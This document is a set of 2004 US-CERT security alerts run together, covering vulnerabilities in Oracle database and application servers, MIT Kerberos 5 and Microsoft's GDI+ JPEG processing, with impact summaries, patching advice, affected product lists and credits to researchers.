Several vulnerabilities have been reported in Oracle's Database Server,
Application Server, and Enterprise Manager software. According to reports,
several buffer overflow, format string, SQL injection and other types of
vulnerabilities were discovered and reported to Oracle.

Oracle has released Oracle
Security Alert #68 (pdf) to address these vulnerabilities.

We are tracking them as follows:

VU#170830 -
Oracle Enterprise Manager contains several vulnerabilities

VU#316206 -
Oracle Database Server contains several vulnerabilities

VU#435974 -
Oracle Application Server contains several vulnerabilities

As more information becomes available, we will update these
vulnerability notes as appropriate.

Impact

The impacts of the vulnerabilities described above are unclear.

According to credible reports, the impacts of these vulnerabilities
range from the remote, unauthenticated execution of arbitrary code to data
corruption or leakage.

Solution

Apply a patch or upgrade

Apply the appropriate patch or upgrade as specified in the Oracle
Security Alert #68 (pdf).

Organizations that use Oracle's Collaboration Suite or E-Business Suite
11i should see Oracle
Security Alert #68 (pdf) for remediation instructions.

Appendix A. References

• Oracle Security Alert #68 (pdf) - http://www.oracle.com/technology/deploy/security/pdf/2004alert68.pdf
• US-CERT Vulnerability Note VU#316206 - http://www.kb.cert.org/vuls/id/316206
• US-CERT Vulnerability Note VU#435974 - http://www.kb.cert.org/vuls/id/435974
• US-CERT Vulnerability Note VU#170830 - http://www.kb.cert.org/vuls/id/170830

US-CERT thanks all the parties involved in researching and reporting these
vulnerabilities. Specifically, Oracle credits the people for discovering
these issues: Cesar Cerrudo, Pete Finnigan, Jonathan Gennick, Alexander
Kornbrust of Red Database Security, Stephen Kost of Integrigy, David
Litchfield of NGSS Limited, Matt Moore of PenTest Limited, Aaron Newman of
Application Security Inc., Andy Rees of QinetiQ, Christian Schaller of
Siemens CERT.

Feedback can be directed to the author:
Jason
A. Rafail.

Revision History

• Sep 1, 2004: Initial release
  

  Sep 3, 2004: Updated Credits
  

Systems Affected

VU#795632 - MIT Kerberos 5 ASN.1 decoding functions insecurely deallocate memory (double-free)

The MIT Kerberos 5 library does not securely deallocate heap memory when decoding ASN.1 structures, resulting in double-free vulnerabilities. An unauthenticated, remote attacker could execute arbitrary code on a KDC server, which could compromise an entire Kerberos realm. An attacker may also be able to execute arbitrary code on Kerberos clients, or cause a denial of service on KDCs or clients.


(Other resources: MITKRB5-SA-2004-002, CAN-2004-0642)

VU#866472 - MIT Kerberos 5 ASN.1 decoding function krb5_rd_cred() insecurely deallocates memory (double-free)

The krb5_rd_cred() function in the MIT Kerberos 5 library does not securely deallocate heap memory when decoding ASN.1 structures, resulting in a double-free vulnerability. A remote, authenticated attacker could execute arbitrary code or cause a denial of service on any system running an application that calls krb5_rd_cred(). This includes Kerberos application servers and other applications that process Kerberos authentication via the MIT Kerberos 5 library, Generic Security Services Application Programming Interface (GSSAPI), and other libraries.


(Other resources: MITKRB5-SA-2004-002, CAN-2004-0643)

VU#350792 - MIT Kerberos krb524d insecurely deallocates memory (double-free)

The MIT Kerberos krb524d daemon does not securely deallocate heap memory when handling an error condition, resulting in a double-free vulnerability. An unauthenticated, remote attacker could execute arbitrary code on a system running krb524d, which in many cases is also a KDC. The compromise of a KDC system can lead to the compromise of an entire Kerberos realm. An attacker may also be able to cause a denial of service on a system running krb524d.


(Other resources: MITKRB5-SA-2004-002, CAN-2004-0772)

VU#550464 - MIT Kerberos 5 ASN.1 decoding function asn1buf_skiptail() does not properly terminate loop

The asn1buf_skiptail() function in the MIT Kerberos 5 library does not properly terminate a loop, allowing an unauthenticated, remote attacker to cause a denial of service in a KDC, application server, or Kerberos client.


(Other resources: MITKRB5-SA-2004-003, CAN-2004-0644)

Impact

The impacts of these vulnerabilities vary, but an attacker may be able to execute arbitrary code on KDCs, systems running krb524d (typically also KDCs), application servers, applications that use Kerberos libraries directly or via GSSAPI, and Kerberos clients. An attacker could also cause a denial of service on any of these systems.

The most severe vulnerabilities could allow an unauthenticated, remote attacker to execute arbitrary code on a KDC system. This could result in the compromise of both the KDC and an entire Kerberos realm.

Solution

Apply a patch or upgrade

Check with your vendor(s) for patches or updates. For information about a specific vendor, please see the systems affected sections in the individual vulnerability notes or contact your vendor directly.

Alternatively, apply the appropriate source code patch(es) referenced in MITKRB5-SA-2004-002 and MITKRB5-SA-2004-003 and recompile.

These vulnerabilities will be addressed in krb5-1.3.5.

Appendix A. References

Thanks to Tom Yu and the MIT Kerberos Development team for addressing these vulnerabilities and coordinating with vendors. MIT credits the following people: Will Fiveash, Joseph Galbraith, John Hawkinson, Marc Horowitz, and Nico Williams.

Revision History

• September 3, 2004: Initial release
  

Systems Affected

An attacker may be able to gain control of your computer by taking
advantage of the way some programs process the JPEG image format.

Solution

Apply a patch

Microsoft has issued updates to address the problem. Obtain the
appropriate update from Windows Update and from Office Update.

Note: You may need to install multiple patches depending what
software you have on your computer.

Use caution with email attachments

Never open unexpected email attachments. Before opening an attachment,
save it to a disk and scan it with anti-virus software. Make sure to
turn off the option to automatically download attachments.

View email messages in plain text

Email programs like Outlook and Outlook Express interpret HTML code
the same way that Internet Explorer does. Attackers may be able to
take advantage of that by sending malicious HTML-formatted email
messages.

Maintain updated anti-virus software

It is important that you use anti-virus software and keep it up to
date. Most anti-virus software vendors frequently release updated
information, tools, or virus databases to help detect and recover from
virus infections. Many anti-virus packages support automatic updates
of virus definitions. US-CERT recommends using these automatic updates
when possible.

Microsoft Windows Graphics Device Interface (GDI+) is used to display information on screens
and printers, including JPEG image files. An attacker could execute arbitrary code on a vulnerable system if the user opens a malicious JPEG file via applications such as a web browser, email program, internet chat program, or
via email attachment. Any application that uses GDI+ to process JPEG image files is vulnerable to this type of attack. This vulnerability also affects products from
companies
other than Microsoft.

References

• September 2004 Security Update for JPEG Processing (GDI+) - <http://www.microsoft.com/security/bulletins/200409_jpeg.mspx>
• US-CERT Vulnerability Note VU#297462 - <http://www.kb.cert.org/vuls/id/297462>

Author: Mindi McDowell. Feedback
can be directed to US-CERT -->.

Copyright 2004 Carnegie Mellon University.
Terms of use

Revision History

• September 14, 2004: Initial release
  

Systems Affected

Microsoft's Graphic Device Interface Plus (GDI+) contains a
vulnerability in the processing of JPEG images. This vulnerability may
allow attackers to remotely execute arbitrary code on the affected
system. Exploitation may occur as the result of viewing a malicious web
site, reading an HTML-rendered email message, or opening a crafted JPEG
image in any vulnerable application. The privileges gained by a remote
attacker depend on the software component being attacked.

Microsoft Security Bulletin MS04-028
describes a remotely exploitable buffer overflow vulnerability in
Microsoft's Graphic Device Interface Plus (GDI+) JPEG processing
component. Attackers can exploit this vulnerability by convincing a victim user to
visit a malicious web site, read an HTML-rendered email message, or
otherwise view a crafted JPEG image with a vulnerable application. No user
intervention is required beyond viewing an attacker-supplied JPEG
image.

Any applications (Microsoft or third-party) that use the GDI+ library
to render JPEG images may present additional attack vectors for this
vulnerability. While some applications use the Windows operating system
version of the GDI+ library, other applications may install and use
another version, which may also be vulnerable. Microsoft has created a
GDI+ Detection Tool to help detect products that may contain a vulnerable
version of the JPEG parsing component. Microsoft Knowledge Base
Article 873374 provides instructions on how to download and use this
tool.

In addition to running Microsoft's detection utility, we recommend
searching your system for "gdiplus.dll" to help determine what
third-party applications may be affected by this vulnerability. Also note
that applications may re-install a vulnerable version of the
GDI+ library if re-installed after a patch has been applied.

We are tracking this vulnerability in Vulnerability
Note VU#297462. This reference number corresponds to CVE candidate CAN-2004-0200.

Impact

Remote attackers exploiting the vulnerability described above may
execute arbitrary code with the privileges of the user running the
software components being attacked.

Solution

Apply patches from Microsoft

Apply the appropriate patches as specified in Microsoft Security
Bulletin MS04-028.
Please note that this bulletin provides several updates to the operating
system and various applications that rely on GDI+ to render JPEG images.
Depending on your system's configuration, you may need to install multiple
patches.

In addition to releasing some patches on Windows Update, Microsoft
has released some patches on Office Update, and
developer tool patches are available from MS04-028.

Apply patches from third-party vendors

Third-party software that relies on GDI+ to render JPEG images may
also need to be updated. Apply the appropriate patches specified by
your vendor. Please see your vendor's site and the Systems Affected
section of the vulnerability note for more information. Depending on
your system's configuration, you may need to install multiple patches.

Follow Microsoft recommendations for workarounds

Microsoft provides several workarounds for this vulnerability.
Note that these workarounds do not remove the vulnerability from the
system, and they will limit functionality. Please consult the "Workarounds
for JPEG Vulnerability - CAN-2004-0200" section of Microsoft Security
Bulletin MS04-028.

Appendix A. References

Appendix B. Affected Microsoft Products

The following Microsoft Products are affected:

• Microsoft Office XP Service Pack 3
• Microsoft Office XP Service Pack 2
• Microsoft Office XP Software:
  • Outlook 2002
  • Word 2002
  • Excel 2002
  • PowerPoint 2002
  • FrontPage 2002
  • Publisher 2002
• Microsoft Office 2003
• Microsoft Office 2003 Software:
  • Outlook 2003
  • Word 2003
  • Excel 2003
  • PowerPoint 2003
  • FrontPage 2003
  • Publisher 2003
  • InfoPath 2003
  • OneNote 2003
• Microsoft Project 2002 Service Pack 1 (all versions)
• Microsoft Project 2003 (all versions)
• Microsoft Visio 2002 Service Pack 2 (all versions)
• Microsoft Visio 2003 (all versions)
• Microsoft Visual Studio .NET 2002
• Microsoft Visual Studio .NET 2002 Software:
  • Visual Basic .NET Standard 2002
  • Visual C# .NET Standard 2002
  • Visual C++ .NET Standard 2002
• Microsoft Visual Studio .NET 2003
• Microsoft Visual Studio .NET 2003 Software:
  • Visual Basic .NET Standard 2003
  • Visual C# .NET Standard 2003
  • Visual C++ .NET Standard 2003
  • Visual J# .NET Standard 2003
• The Microsoft .NET Framework version 1.0 SDK Service Pack 2
• Microsoft Picture It! 2002 (all versions)
• Microsoft Greetings 2002
• Microsoft Picture It! version 7.0 (all versions)
• Microsoft Digital Image Pro version 7.0
• Microsoft Picture It! version 9 (all versions, including Picture It!
  Library)
• Microsoft Digital Image Pro version 9
• Microsoft Digital Image Suite version 9
• Microsoft Producer for Microsoft Office PowerPoint (all versions)
• Microsoft Platform SDK Redistributable: GDI+
• Internet Explorer 6 Service Pack 1
• The Microsoft .NET Framework version 1.0 Service Pack 2
• The Microsoft .NET Framework version 1.1

Feedback can be directed to the US-CERT
Technical Staff.

Revision History

• Sept 16, 2004: Initial release